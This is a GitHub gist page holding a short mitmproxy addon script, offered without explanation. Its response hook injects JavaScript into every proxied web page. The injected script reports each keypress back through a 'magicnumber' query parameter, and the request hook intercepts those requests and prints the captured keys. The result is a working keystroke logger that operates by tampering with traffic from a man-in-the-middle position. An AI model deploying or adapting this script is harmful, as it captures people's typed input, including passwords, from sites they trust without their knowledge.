Skip to content

Instantly share code, notes, and snippets.

@no1xsyzy
Last active August 28, 2019 02:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save no1xsyzy/1b342ed48b09bb2c22d368b161cb351d to your computer and use it in GitHub Desktop.
Save no1xsyzy/1b342ed48b09bb2c22d368b161cb351d to your computer and use it in GitHub Desktop.
from mitmproxy import http
def request(flow: http.HTTPFlow) -> None:
if 'magicnumber' in flow.request.query:
print(repr(flow.request.query['magicnumber']))
flow.response = flow.response = http.HTTPResponse.make(200)
def response(flow: http.HTTPFlow) -> None:
flow.response.content = flow.response.content.replace(
b"</body>",
b"""<script>
document.addEventListener("keypress", function(e){fetch("/?magicnumber="+e.key)})
</script></body>""")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment